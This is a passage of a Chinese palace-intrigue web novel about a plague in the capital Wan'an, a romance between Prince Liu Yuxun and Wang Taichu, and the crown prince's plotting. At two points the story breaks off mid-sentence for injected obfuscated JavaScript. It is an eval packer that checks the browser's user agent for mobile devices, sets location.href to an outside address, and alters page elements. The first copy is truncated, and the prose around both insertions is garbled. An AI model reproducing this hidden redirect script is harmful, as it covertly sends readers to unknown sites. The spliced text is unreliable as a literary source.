“尚且还算齐全，另外王绍安王公子也自请出城采购药材，药材之事殿下不必担忧。” “王绍安出城了？他从哪个城门出的城？” “南城门。” “南城门出城的话，势必不能绕开凤栖县。”刘聿洵摩挲着衣角，眼神变得复杂起来，“这个王绍安确实是有意思，你说他心系百姓吧，他却不愿意参加春闱入朝为官，你说他漠视民瘼吧，他却敢在此时出城求药以身犯险，他们王家的人还真各个都是不按常理出牌的主。” 说到此处，刘聿洵的眼神中出现了难得的温柔，脑海中浮现了蓟门闸码头王太初的身影，不知此时她在它山别宫是否一切安好。 “今日飞鸽传报，别宫一切安好，请殿下放心。”也不知是不是李全胜看出了刘聿洵的异样，不合时宜地突然开始汇报起了别宫的情况。 “咳咳。”刘聿洵清了清嗓子，那声咳嗽声带着些刻意掩饰的局促，他忙转换话题问道，“别宫还剩几个太医。” “只余四人。” “万安城内的太医可都还康健？” “遵照殿下的命令，我们并未让所有太医直接面对感染者，所以目前有五位太医尚还康健。” 刘聿洵闻言眉头微蹙，这便是他最为担心之处，当时让部分太医和太宗一起躲进它山别宫，为的就是希望他们能在安全的环境下研究出抗疫之策，将此策送来万安城。可是眼下看来，此计已是走在了失败的边缘，如果医者尽数染病，那么整个万安城便只能硬扛了。 “今日北城门可还有太医回来？” “未有动静。” “怕是别宫那边还没有新的进展。”刘聿洵抓起大氅，披到身上，问道，“太医们可都还集中在北城门？” “是的，现在城北染病之人最少，最是安全。” “跟我走一趟。” “殿下，太医嘱咐，外伤之后，您正气亏虚，最易受外邪侵袭，须得呆在营帐之中，不可外出。”李全胜挡住刘聿洵的去路，阻止道。 “那我还不如直接躲到它山别宫中去。”言毕，他便绕过李全胜，朝着北城门的方向而去。 疫病自城南凤栖县而起，城北鲜少有富户和官宦居住，春节前夕人员往来亦不甚繁，故情势最缓。 从营帐到北城门，步行一刻钟便可达。一路上看着官兵们面带颓色，刘聿洵心里也觉得格外沉重。 北城门的城墙边临时搭建起来的帐篷内不时传来争辩声，这是现下万安城内唯一康健的五位太医。 “可有进展？”刘聿洵掀帘而入，边抬手阻止太医们行礼，边走近被他们围在中间的药罐。 “已熬煮新药分发下去，药效尚还不知。” “此疫症的病理可弄清楚了？” “患者多出现恶寒、无汗、肢体酸痛症状，应是阳气受损，寒邪内侵。”应答的是一个头发花白的太医，叫陈时令。此人刘聿洵再熟悉不过，从他记事开始此人便在太医院当值，很是得太宗信任，也是一直守在万安城没有离开一步之人。 “今年京城确实是比往年要冷。”刘聿洵不明药理病理，此番只能将所有信任放在太医们身上。 他巡视了一番帐内，只见人人眼中都是疲态，眼下乌青如墨，担心他们熬不住。正要开口让众人暂且歇下，眼角余光却瞥见角落里立着一个年轻人，眼睛不时看向自己，像是有话要说。 “你有话要说？” 那年轻人见刘聿洵看过来，慌张低下了头，连忙摇头摆手。 “庆春，但说无妨。”陈时令见状怕其行为举止得罪刘聿洵，忙着解释道，“殿下，此人叫李庆春，是臣下的徒儿，平日里只知和医典药材打交道，最不善言辞，殿下莫要责怪。” “陈先生言重，此疫凶险异常，诸位当群策群力，共思应对之法，即使是说错了也无妨。”刘聿洵摆摆手示意无碍。 “臣下觉得，会不会我们一开始就被误导了？”李庆春看了陈时令一眼，在得到首肯之后才轻声开口道，“医书上记载，冬季主‘寒邪’，疫病多是‘寒疫’，可我们用温阳散寒的药方治疗以后，却不见效，甚至还有患者加重了病情出现了高热、胸闷、腹泻的症状，所以我在想，会不会不是‘寒邪’而是‘湿热’？” 刘聿洵不懂其中道理，只能看向身旁的陈时令寻求答案。 “可是万安城近日寒冻严重，干燥少雨怎么会有湿热之症呢？”陈时令捋着胡须，似是已有动摇，只是少一个支持此论的理由。 “此疫症最早是在凤栖县出现，今年刚入秋时，凤栖县就一直雨下不停，甚至白日里闷热如盛夏，会不会是因为这个，所以是‘湿热’而不是‘寒邪’？”刘聿洵闻言，短暂思索一番以后开口问道。 “如此说来便有可能。”陈时令拍手惊呼，后又觉着自己失态，忙正襟对着刘聿洵解释道，“殿下，医书上对此有过记载，冬行春令，天时不正则生疫，如若殿下所记没错，此次导致疫邪的恐怕真不是‘寒邪’，而是‘湿热戾气’，这种湿热被冬日的寒气包裹，初看像寒症，实则内里湿热壅滞，需要清热利湿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到走到她的面前，他才看到，她的头发黏在汗湿的额角，身上的锦缎棉服早被泥污浸透。像是在翻山时摔过跤，她的膝盖处蹭破了一大块，露出底下渗着血的皮肉，胳膊上还有几道被荆棘划开的红痕。 可她的眼里却是亮得很，一丝畏色也无，反倒透着股不管不顾的执拗。 直到看到他出现在自己的眼前，他才在王太初的眼中看到了一丝释然。刚要开口，却见王太初喉头一动，眼泪毫无征兆地涌了出来。 “他们说你病了，我还当……还当再也见不着你了……” 还没等王太初说完，刘聿洵早已顾不得周遭人投来的目光，更遑论那男女大防的礼教规矩，只一步上前，将她牢牢拥在怀里。 在见多了生死之后，他知道这一刻的珍贵。 王太初在刘聿洵的怀中哭了许久，直到她的哭声稍缓，刘聿洵才敢开口逗她：“好了好了，你这样涉险，不会只为了来看我一眼，确认我是否安康吧？” 他轻拍王太初的后背，语气中满是宠溺和得逞。 “自然不是！”王太初这才反应过来自己的失态，她从刘聿洵的怀中抬起头来，抹了抹眼睛，脸上又恢复了平日的倔强，“我还担心哥哥，担心沉水，担心言妈妈，担心王府众人。” “好。”刘聿洵也不与之争辩，只是纵容地勾起了唇角，点了点头。 “并不是只因为你。”见刘聿洵不信，王太初怕露了太多心意，连忙追着补充道，“真的不是只因为你。” “都依你。”他目光里淌着温情，落在忙着解释、耳根都红透了的王太初身上。 “对了，还有这个。”王太初像是突然想起了什么，她从自己的包袱里翻出精心包裹的纸封，小心翻开，“这个是我离开别宫之时最后服用的一帖药，我特意让公公将药渣带给了我，让太医们看看是不是有帮助。我想着万安城内尚未染疫之人或许可以用此药预防。” “有心了，这样此行，便不算徒劳送命了。”刘聿洵笑着接过药包，“我也告诉你一个好消息，太医院对此症已有了新的解法，或许会有新的收获，但在得到印证之前，你只能呆在城北大营，一步也不能离开。” 刘聿洵领着王太初往城内走，在经过李全胜之时，将药包交给他说道，“先让太医院按照此方给前线的士兵送去汤药，另外新的药方一旦拟定命人速速熬煎，不可有误。” “属下遵旨。”李全胜得令之后，便拿着药包朝着城内大帐跑去。 “不行，我必须回王府，出来多日也不知王府如何。哥哥此次并未同我们一起去它山别宫，他不像沉水会听话呆在家中，我需得知道他们的安危才可放心。”王太初在城门口停住脚步。 “王府一切都好，我已让李全胜多加照顾，另外绍安兄，他出城了。”刘聿洵见王太初执拗，便开口说道，“恐怕是担心城内药材不够，几日之前绍安兄便自请出城采购药材了。” “我就知道他定是又去做那冒险之事了。”她长叹一口气，像是对这个结果早有准备，并没有刘聿洵想的那般惊慌担忧，“他从来都是不把自己的生死放在第一位。” “那我倒是不解了，原本未见绍安兄之前，只靠着明州城的传言，我一度觉得绍安兄或许也只是沽名钓誉之人。”刘聿洵不好意思地笑了笑，在妹妹面前如此评价亲哥哥确实是一件冒险之事，“毕竟以他的才学完全可以在春闱取得一个不错的成绩，入朝为官，为民请命，可是他却没有。” “因为他知道，如果此时他在朝堂之上，他便不能呆在此处出门为百姓寻药了。”王太初抬头望向夜空中的明月，语气中虽有对自家哥哥的戏谑，眼神确是闪亮，“他向来都是痴傻的。” 天上月痕浅淡，像被墨水晕开的一缕银线，却也把云絮照得通透。风掠过城门，钻进城北的长街。谁都没有注意到，抬眼间，已是正德三十六年。 28. 第七章 瘟疫肆行（三） 初一那日太医院的太医早早便拟定了药方，率先给感染疫症的太医分发了下去试药。 王太初考虑着王府的安危并没有回天吉巷，而是在城北大营中随便找了一个帐篷住下。一来城北大营此时是整个万安城的大脑，如果王绍安回城，此处必定是能第一时间被通知到，二来，她也担忧新药方的效果，期盼如若药方有效，便可解万安城此劫。 “太初姑娘，殿下邀您去大帐用午膳。” 昨夜王太初从它山别宫一路步行下山，已是精疲力竭，安顿好自己以后倒头便睡，并未梳洗。 好不容易今日睡到日上三竿，现下才梳洗整顿完，正巧赶上肚子饿得咕咕叫。没等盘好头发，便迫不及待地跟着前来传话的女使去了刘聿洵的大帐。 “可有好转？” 此时李全胜正好领着李庆春前来汇报患者的服药情况。 刘聿洵见王太初进来，指了指旁边随意堆砌起来的桌案，示意她先用膳。 桌案上除了几道爽口的小菜之外，还有一盘饺子，见到此物王太初才惊觉，今日已是初一。 这些时日万安城内人人都处在惊惧担忧之中，腊月二十之前，整个万安城都在为今日做准备，可谁又能想到正德三十六年的大年初一竟会是这般门可罗雀，甚至有些人都没能等来这个日子。 王太初盯着眼前的那盘饺子，突感悲伤，从明州到万安城，今年原本是他们阖家团圆的日子，却不想眼下各自散落他处，甚至自己哥哥的生死也未能料。 她觉得那盘象征着团圆的饺子分外碍眼，便将它推到了远处，关心起了刘聿洵那边的动静。 “启禀殿下，眼下看来颇有效果，许多太医体温都有下降，呕吐腹泻的症状也多有缓解，虽现下精神还有欠缺，但臣相信我们对此次瘟疫的判断是对的。再用上几贴药，应该就能治愈了。”李庆春看着就像是熬了一宿，眼看着眼袋都能挂到他的嘴角了，虽说看着疲惫不堪，话语间却兴奋难掩。 “那便好，城内的药材可还够？”刘聿洵闻之，亦是欣喜若狂，“如若真有效果便下令城东、城南和城西的医馆，按照此方熬制，尽快让染病之人服药。但是人命不可儿戏，李太医需得有把握才可大范围施药。” “殿下放心，此前一直消耗的是温热助阳之药，臣下收到李太医的药方以后清算过，方子上的清热泻火之药都还齐备。”李全胜早前就想到了此处，盘点了现下万安城内可用的药材。 “殿下放心，我定会在病试通过之后才向民众用药。”李庆春也抱拳回话。 “那便好，速速安排下去，有任何情况及时前来汇报。”昨夜安顿完王太初，刘聿洵也只是在大帐中小憩了一会儿，因为心中记挂着新药方的效果，早早便起床等在了帐中，现下总算是能松一口气。 送走前来汇报的李全胜和李庆春之后走到案桌前。 “太初姑娘不喜欢食饺子？”看到被推到远处的那盘饺子，刘聿洵边坐下边发问，“今日是初一，原本应当让膳房好生准备一番，可如今情况特殊，只能化繁为简，用盘饺子对付一下了。” “大哥哥生死未卜，实在没有胃口。”王太初搅着那碗早已凉透的肉羹，脸上尽是担忧之色。 “我已在南城门安排了部下，只要一有绍安兄回城的消息，便会第一时间前来告知，不必担忧。现下李太医的新药方也颇有疗效，相信这场疫症很快便能化解。”刘聿洵接过王太初手中的那碗肉羹，用手心隔着汤碗探了探温度，“这碗凉了，用我这碗吧。” 说着便将自己的那碗塞到了王太初的手中。 “对了，方才听殿下和太医对话，说此疫需得用清热泻火之药医治。可我从它山别宫带回来的药渣中多是温补之物，恐怕用那药方预防反而有反效果，殿下需得让太医院那边停下才是。”王太初食欲不盛地勉强将几口肉羹送到口中，像是突然想到了什么，抬头对刘聿洵说道。 “太医院已经注意到了此事，并未按照姑娘带下来的药渣配药熬煎。另外，我也已经派人将新的病理告知了它山别宫，姑娘放心。” “那便好。总算是有了个好消息。” 王太初的脸上总算是有了一丝的悦色，自从知道王绍安单枪匹马出城求药之后，她便一直忧心忡忡，刘聿洵对这样的王太初并不熟悉。 “说起来，本王还未来得及谢姑娘。蓟门闸感谢姑娘的出手相助，才能让我洗脱嫌疑。” 想到蓟门闸之事，王太初不免脸红，那日情况紧急她也顾不上许多，也不知后来有没有人将她认出来。 “是我让沉水通知殿下才会让殿下陷入险境，我自当为殿下解围。” “不是太初姑娘的错，在此之前，我便已经顺着线索查到了蓟门闸的漕船，现在想来恐怕也是旁人为我设下的圈套，为的就是要把火烧漕船的事嫁祸于我。” “怪不得那日你会比我先到码头？殿下可查到了是何人所为？”王太初那日便觉得奇怪，沉水从和乐楼去雍王府找到刘聿洵，再从雍王府去到蓟门闸码头，即使每一个环节都没有阻碍，也需得花费多时，可是那日自己到蓟门闸之时，刘聿洵分明是一副早就准备齐备的样子，原来是他早就得到了风声。这让她不免有些好奇，那背后的始作俑者会是何人？是西境军粮劫案的幕后黑手为了毁灭证据所为？还是另有黄雀站在螳螂和蝉之后，在暗中操控一切？ “以你去什么地方都用双脚的速度，即使真是收到沉水的消息再出发，我也定是能比你快。”看着王太初脸上下山路上树枝留下的划痕，刘聿洵不免心疼，“等这疫病过去，我看王姑娘还是要把骑马学会了才方便。” “小时候嫌麻烦不愿意学，现在看来的确需得把骑马学会不可，否则去哪里都是不方便。”想到入万安城后的种种，王太初深觉骑马之技的重要，赞同地点了点头。 “王姑娘有这份心便好，万安城内骑术最佳的便是我们军营中人，届时我亲自教你，定能让姑娘不日就能鞍马娴熟。” “自是要殿下亲自教才可，我哪一次跑那么远不是为了殿下您？” 此话暧昧，等王太初意识到想要收回之时已是来不及了。她看到端坐对面的刘聿洵似笑非笑地看着自己，只能害羞地低头从碗中夹了一个饺子塞到嘴里。 “既是为了我，那我便更要用心教姑娘才是。”刘聿洵笑盈盈地给王太初倒了一杯茶水，递到跟前，“先喝口水，不要噎着了。” “殿下莫要总说一些无关紧要之事，那日蓟门闸码头，殿下可有收获？”也不知刘聿洵是有意还是无意，原本蓟门闸的话题竟被扯远到了骑马之上，王太初虽觉羞赧，但还是很快将话题转了回来，“那日我瞧见李副将跳船而去，可是有查到了什么？” “首先我并不觉着教姑娘骑马是无关紧要之事。另外，李全胜并没有查到什么，他趁黑摸上船之时，恰逢漕船起火，想必幕后黑手是等我们的人跳入圈套才点的火。” “那个漕军将领呢？后来殿下可有将他找来问话，可有线索？” “那日万安宫丧钟响，我顾不上许多，第二日再派人前去寻他时，此人已留下遗书畏罪自杀。” “那些漕夫呢？他们可还好，殿下是否有找过他们？”听到此处，王太初已是隐隐觉得不妙。 “他们尽数畏罪自尽了。” 刘聿洵看到王太初的眼神一下子暗了下去，她无力地靠到椅背上。 那日和乐楼内他们的模样还清晰地在自己眼前，可是为什么短短几日便已是阴阳相隔。 刘聿洵想要安慰，却又不知如何开口。按照朝廷律令，从漕船走水那一刻开始，他们便只有必死的结局。 他也知道朝廷是他，导致漕船走水的原因还是他，他似乎没有开口劝慰的立场。 大帐内安静了下来，王太初没有再开口说话，好似在祭奠那群漕夫一般。 直到帐外传来了守城士兵兴奋的喊声：“殿下，王公子回来了。” 来人难掩激动之情，一路小跑着而来，等跑到帐门外才想起了规矩，恭敬地在帐外禀告：“殿下，王公子求药归来，此刻正侯在禁区之外，说是已经找到了治疗疫病之法，求见殿下。” “王公子？王绍安？”正当刘聿洵面对郁郁寡欢的王太初无计可施之时，此时王绍安的平安归来对于他来说犹如天降神迹一般。 “快快请王公子进来。”他站起身来，吩咐帐外的士兵。 原本还沉浸的悲伤中的王太初此刻也是欣喜万分，无论如何，今日总算是有了另外一个好消息。 她可一刻也等不了王绍安进来，站起身来掀帘就跟着那来报的士兵朝王绍安的方向去了。 原以为王绍安出城采买药材数日定也是风尘仆仆，形象狼狈，却不料他还是衣着得体，衣带束得一丝不苟。 他挺然立在栅栏之外，神色淡然，身后的一辆驴车上堆着几个麻袋，想必是他这几日求得的药材。 “你如何会在此处？”可能也未料到会在此时此地见到王太初，王绍安原本淡然的脸上掠过一丝惊诧，责问道，“你不是随父亲一起去它山别宫了吗？” “哥哥居然还有脸面指责我？你忘了那年在黄河决堤处是如何答应我的吗？先全己命，而后救人，为何大哥哥总是将自己置身在危险之中，让全家忧心？”王太初也顾不得外人在场，跨出栅栏挥臂落拳在王绍安的身上，发出一声闷响，紧接着眼泪就“唰”地顺着脸颊砸落，喉咙溢出压抑的哽 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“绍安兄方才言说找到了医治疫症之法，正巧太医院近日亦有进益，李太医正是发现此症内里之人，你二人正可商议此事。” 听闻刘聿洵开口，王绍安将王太初安顿在侧以后方才开口说道。 “启禀殿下、李太医，此番草民去邻府求药自南城门出，途中需要经过凤栖县。自万安城内发现此疫症以来，一直有件事困扰于我。”王绍安向刘聿洵和李庆春拱手，继续往下说道，“凤栖县的百姓最早出现发热呕吐之症是在重阳节前后，可此疫症在万安城内爆发确是在腊月之时，中间所隔竟有数月之久。草民虽不懂病理药理，但却也从书籍记载中了解过，瘟疫之特性，尤在传布迅疾。” 言至此处王绍安停顿了片刻，他看向身旁的李庆春，只见他频频点头，看来此疑窦已然在其心间盘桓了许久。 “为了解开疑惑，我并未绕开凤栖县，反倒走了进去。可令我觉得意外的是，凤栖县虽是此次疫症发生的源头，但是比之万安城内的情况，他们的症状却要比我们轻上许多。这不免又更加深了我的疑心，因此我便留了下来四处探访。好在凤栖县不大，整个县也只有一间医馆，多数民众染疫都会在那里求药问诊，我在那里呆了几日一直也未发现异常，直到那日跟着郎中去收晾晒的药材，才发现了端倪。” 讲到此处，王绍安便转身走到了驴车边上，开始边解麻袋边继续说道：“入秋以来凤栖县一直阴雨不断，医馆院中的青石板上长满了苔藓，因此晾晒的药材不免有所沾染。也正是这意外才让凤栖县的百姓在此次疫症中存活了下来。” “没错没错，苔藓多生于阴湿之地，其性味多偏苦寒，恰与此次热症阳热偏盛的病机相对，殿下，看来我们昨日所猜并没有错。”李庆春闻言甚是欣喜，有了凤栖县的佐证，他便可减试验之日程，尽快安排给所有人用药。 “可见李太医也探得了此疫的病机。”王绍安解开驴车上的麻袋，从中取出一小撮阴干的苔藓，交到李庆春的手中，继续说道，“后医馆的郎中复盘了这段时间的病例，细究症结，也得出了同李太医一样的结论，此次疫病是由热症引起，而不是寒症。” “现下凤栖县的百姓如何了？”刘聿洵闻言，也是喜不自禁，忙着急问起凤栖县的情况。 “我前日离开凤栖县之时，多数病患的病情都已得到了控制，也有病况较缓者已经痊愈。” “那便太好了，如此一来我们便不用再等用药效果，可以直接为患病百姓用药了。”言罢刘聿洵略一颔首，向王绍安抬手作揖，“此番本王替万安城的百姓先谢过王公子。” 说罢刘聿洵便命令李全胜将驴车上的苔藓卸下，吩咐李庆春一起速速开方熬药。 等安排完一切之后，他才又回身走到王绍安和王太初身旁。 此时王绍安正指着王太初脸上的伤口，要她说出此伤的来历。 “这次寻药之事有劳王公子了。”刘聿洵的到来正好可将王太初从质问中解救出来，“等父王回宫我定会向他禀告。” “这本就是凤栖县百姓的功劳，草民不敢居功，殿下不必向外人说起。”王绍安摆摆手，表示不必，“这些苔藓也是凤栖县百姓所赠，与我也没有关系。” “王公子不掠人之美，心系苍生，本王佩服。只是本王尚有不解，公子既有为民请命之心，本应当考取功名为国执鞭，可为何要久处草野？” 刘聿洵盯着王绍安的眼睛，他看出了此刻他的迟疑和欲言又止。 他轻轻一笑，走近王绍安拍了拍他的肩膀，不再勉强他回答，只是可惜地说道：“如果今日万安城内都是如王公子这样的官吏，那么万安城的百姓也就不会有此劫难。” 29. 第七章 瘟疫肆行（四） 东宫的偏殿原本是先太子妃病逝之前的休憩之所，此刻却被素缟覆盖，寂然无声。 偏殿中央的棺椁中所供奉的是太子妃的翟衣，因太子妃是感染瘟疫去世，她的尸首早已经被葬进了皇家陵园，眼下只有这衣冠以供祭奠。 “太子殿下，您可要节哀啊。” 大殿的安静被一声撕心裂肺的哭喊声打破，陈伯庸拖着沉重的脚步从殿外向里走来。 他的脸上尽是哀戚之色，目光死死地盯着摆放在正中的棺椁。 在太医院探得病理之前，万安城内全城戒备，任何人都不得擅自走动，即使是京营都督陈伯庸，太子妃的父亲也无法擅自离开京营吊唁女儿。 直到此刻万安城内的疫病得到了控制，他才被允许入这东宫，靠着这一袭象征地位的翟衣，聊寄哀思。 “岳父。” 自太子妃染病以来，刘聿恒悉心在旁照顾，朝廷上下、民间里外无不称誉。其岳父见此，对他对自己女儿的一片真心，也是深为嘉许。 此刻看着眼前悲怆难抑的女婿，压抑在他心头的思念也再难忍，刘伯庸红了眼眶，扶起正欲向他行礼的太子。 “岳父宽恕，聿恒没有保护好婉宁。”刘聿恒的眼睛熬得通红，一看便是几日未眠。 “疫病无情，这都是意外罢了，太子殿下莫要过分责怪自己，要怪也只能怪小女福薄。” 陈伯庸拍了拍刘聿恒的手背以示安慰，而后颤颤巍巍地走近摆放在偏殿中央的棺椁，他戎马半身，向来昂首挺胸，可面对自己女儿的牌位之时，却也像个普通的老人一般，佝偻着背。 “我的乖女儿呀，你怎会如此狠心，你这般撒手一去，可让我这个老父亲如何？让你的孩子如何呀？” 他那哭喊声撕心裂肺，周遭人听着无不鼻酸眼红，见此情状旁侧那几个贴身伺候过太子妃的女使已开始抽起了鼻子。 “岳父节哀，斯人已逝，婉宁定也不希望看到你如此神伤。”刘聿恒搀扶着陈伯庸，引着他向殿旁的侧拜位走去，仿似离开了这早已没有遗体的棺椁就会让人好受一些。 侧拜位旁的蒲团上，皇太孙刘承昭正伏在女使膝上酣睡，他的脸颊上还挂着未干的泪痕，姿势扭曲，一看便是跪伏难支，才歪倒着趴靠在了旁人的膝头。 “微臣老了，残烛之躯，恐亦无几多岁月可活，不日便可赴九泉与小女相见。”陈伯庸颤颤巍巍走近刘承昭，蹲下身，抚上他的泪痕，轻轻擦干，“可是稚子尚幼，未经世事，若没有母亲在身旁教育蒙化，只怕日后失了规矩，难成正器啊！” 言罢，陈伯庸又感悲凉，声音哽咽。 “岳父宽心，小婿定会为承昭寻访天下名师，悉心教诲，断不会让他受半分委屈。” “微臣自然相信太子殿下，只是......只是太子妃既逝，太子日后必当续弦。若新妃再有子女，这稚子......” 说到此处，陈伯庸又感怀了起来，他边抚摸着刘承昭的脸颊边抚去黏在他脸上的发丝。 “岳父放心，东宫日后再纳新人，也不会再有太子妃，婉宁将会是我唯一的妻，承昭将会是我唯一的嫡子。”说完，刘聿恒便躬下身子扶起蹲着的陈伯庸。 “太子言重，也请殿□□谅老臣为人父亲，为人外祖父的担忧。”陈伯庸踉踉跄跄地站起身，试图平缓呼吸。 “自然不会，岳父将婉宁交给我，我未能护她周全，已是我之过，日后我也定不会让承昭委屈。”刘聿恒看着陈伯庸气息不正，便提议道，“殿内闷热，岳父可要去殿外休息片刻？” “好，微臣也正好有些事情要与殿下商议。” 东宫的长廊上，夜风吹动素白色的灯笼，发出诡异的响动。 清冷的空气中混杂着殿内的香烛味道，陈伯庸和刘聿恒立在廊下，脸上早已没了刚才殿内的悲怆神情，好似走出了那个场景，他们便不再是那个刚失去女儿的父亲，和那个刚失去妻子的丈夫了。 “太子年前吩咐微臣所办之事，微臣并未办妥，此番特意来向太子请罪。” 陈伯庸所指之事，便是蓟门闸火烧漕船之事。当时刘聿恒便想用火烧漕船的事件一箭双雕，一者把李安泰从漕运总督的位子上拉下来，另外便是将这件事嫁祸到刘聿洵的身上，撇开自己的嫌疑。 可是不知为何，那日却突然杀出了一个女子，打乱了他所有的计划。 现下嫁祸不成，京营士兵突然出现的巧合也定会让赵普怀疑到自己的头上来。 他虽对陈伯庸处理此事的结果不满，但碍于京营对于他的重要性还是未能发作，只能轻描淡写地安慰道：“此番是小婿计划不够周全，不是岳父大人之过。” “微臣谢殿下的宽恕，只是此计不成，眼下殿下可有新的打算？等这瘟疫一旦过去，雍王定会彻查此事，赵相那边损了李安泰，也定不会轻易放过我们。” “听说那日雍王抓了一个漕军，此人现在正在何处？”刘聿恒也并不急着回答，顾左右而问起了旁人。 “臣已打听过了，此人已经畏罪自杀了。”陈伯庸虽是不解，但幸好此人他也听周显齐说起过，略知一二。 “真是自尽？” “也不见得，听说此人对外宣称是畏罪上吊自尽，但臣派属下打听过，此人勒痕看着不像是上吊所致，倒像是被人勒死的。” “那便好，此人如若真是他杀，那便说明赵普并不想让外人知道漕船的秘密，他也定不会在此事上大做文章，这个哑巴亏他也只能吃下去。” 刘聿恒这些时日被困在这东宫之内，一直为蓟门闸的事情担忧，对他来说此事最好的结果便是能被掩盖过去。 “那么雍王那边该当如何？” “雍王那边既然抓了那漕军，在他处想必也并没有找到其他确实的证据。”刘聿恒思索了片刻，继续说道，“原本军粮之事，本也只是他赵普和刘聿洵之间的事。该关心刘聿洵查到什么地步的人也应该是他赵普而不是我们，我们只要不让这火烧漕船的火烧到我们身上便可。只是......只是这漕运总督的位置，我们不可再尽力一争了。” “可如果太子放弃漕运总督之位，太子这些年来的布局定会受影响。” “没办法，这位子现在烫手，此番也是无奈之举。但是此位子也定不能再落入赵普的手中，更不能落入刘聿洵的手中。”刘聿恒的眼中出现一丝狠戾，心下开始盘算了起来。 “正是，此番雍王抗疫有功，军功簿上又是浓墨重彩的一笔，的确不能再让其涨势了。” “这事怪我，也是我轻敌了，万安城内的小打小闹确实也不成气候，怎么能阻止得了见惯了大场面的雍王。”刘聿恒突然低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16307405|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头轻语起来，字字句句都令陈伯庸心神不宁。 近些时日万安城内总是有小规模的冲突发生，虽规模不大，但对全力以赴投身抗疫的刘聿洵来说却也像是烦人的蝇虫一般碎烦不断，叫人闹心。 陈伯庸原以为那些人不过是些万安城内的宵小之辈，趁乱做些蝇营狗苟的营生罢了。可听刘聿恒方才之言，却好似此事是他有意安排的。如今城内城外因瘟疫之祸死病之人已不计其数，可是这未来的天子却还能如此行事，罔顾生灵，只为了给刘聿洵制造一些麻烦。 他虽比万安城内的其他人更了解自己的这个贤婿，他自然不是外人眼中那般谦抑朴实，心怀万民，但是却没想到在这般时候他还能火上浇油。 但陈伯庸此刻也没心思为万民为生灵担忧，刘聿恒在万安城内制造动乱的行动并未提前告诉自己，可见蓟门闸之事已是让他对自己失了信任，而这才是眼下最要紧之事。 他知道他和刘聿恒已经失去了最紧密的联系，现下他对自己的尊崇不过也是看在京营的面子上。 陈伯庸看了一眼灵堂内的棺椁，心绪万千，此行他的目的不过是为了保住自己外孙的皇太孙之位，或者说是保住自己和刘聿恒之间唯一的联系。 “对了，岳父可有查到那日蓟门闸同雍王在一起的姑娘是何人？” 刘聿恒注意到陈伯庸的眼神变之又变，也不再言语其他，反而将话锋一转，问起了那晚蓟门闸之事。 “臣查清楚了，是通政使王抃王家的姑娘。” “王太初？” 刘聿恒对王太初和刘聿洵的关系早有耳闻，自己的这个皇弟多有荒唐，再加之如今王抃的地位，刘聿洵的处境，他想要结交也是情理中事。 他只是不敢相信王抃那样的书香门第居然会教出与人夜会这样的女儿。 可一想到那日康王府的花宴，她的确出格，行事作风也确实不似循规蹈矩的姑娘。 “正是王太初，臣听闻王家那姑娘前几日私自从它山别宫跑回了万安城，为的就是同雍王殿下一起。” “刘聿洵......王抃......”刘聿恒呢喃着陷入了沉思，多年来刘聿洵从未有过勾结朝臣之举，也正是因为如此，竟让他忽略了他刘聿洵不是不能而是不想。 看来赖长兴之事确实让他感受到了威胁，竟也做起了往日不耻之勾当。 “如若让雍王和王抃联手，恐怕与太子不利。” 王抃是眼下朝堂之上最为炙手可热的红人，明眼人都知道太宗对他的提拔为的就是分赵普的权力。刘聿恒那么多年在朝堂人事的安排上早已是将赵普得罪了个底朝天，但如果...... “但如果太子和王抃联手呢。” 陈伯庸为自己脑海中一闪而过的想法感到羞耻，他转过身子，不敢向殿内看去。 “王抃向来最讨厌的便是党争。” 刘聿恒淡淡地看着陈伯庸，却好像是什么都瞒不过他，他并未直接道出自己的想法，只是轻描淡写地又把问题抛了回去。 “如果太子也像雍王那样呢？借着女儿，得到父亲呢。” 此时大殿内突然传来一阵孩童的哭喊声，那声音嘶哑，像绳索一般勒住了陈伯庸的喉咙，一声声“娘--娘--”的哭喊声响彻整个东宫。 那是陈婉宁之子刘承昭的声音。 30. 第八章 万安春闱（一） 正德三十五年的那场瘟疫随着万安城内第一朵迎春花的盛开而结束了。 尽管许多人的生命永远留在了那个冬天，即使留下来的人有万般的不舍，但眼下的生活还是要继续。 疫情散后，城门复开，城内的大街小巷重新恢复了往日的热闹劲儿，万安城迎来了这个春日的第一批访客，那便是正德三十六年春闱的考生。 他们个个年少气盛，锐气逼人，眉宇间尽是生命力，而这些是此刻经历过瘟疫劫难的万安城最为需要的。 然对于这些考生来说，这大庆的帝都也将是他们梦想的起点。他们中的一部分人会在会试中考中贡士，经殿试后成为进士，或居中枢，或临地方，成为朝廷牧民安邦的肱骨之臣。 十年寒窗，他们等的便是这一刻。 万安城也为此做好了准备，三年一次的会试自古以来都是万安城内极为重要之事。酒肆茶寮，饭庄乐坊都会在会试期间推出和春闱相关的菜肴歌舞，多取寓意吉祥的名字，为的就是讨一个好彩头。 和乐楼也不例外，作为万安城内赫赫有名的酒楼，江音如早就做好了准备，让身边现成的劳动力王绍安给几个主推菜肴取了名字，什么魁星点斗、捷报登盘、雁塔提名...... 个个都是寓意绝佳的名字，可王太初却觉着老套，一个都不喜欢。 她这几日倒是清闲，自从她为了刘聿洵不顾自身安危从它山别宫冒险回万安城的消息传开以后，整个万安城像是已经默认了她和刘聿洵之间的关系。 除了王抃从它山下来的那日因为此事让她在祠堂罚过跪之外，后来便再也没有其他。甚至连太宗也没有因为她未能遵守旨意而治她的罪，而是转头就在朝堂上跟王抃开起了儿女亲家的玩笑。 “你是说，陛下已经开金口说不治我的罪了？” 兵部衙门的后头是一片开阔的马场，此时刘聿洵正拉着驮着王太初的小马驹沿着栅栏慢慢踱步。 这已经是王太初上马的第五天了，可骑马之术较之第一天丝毫没有起色。 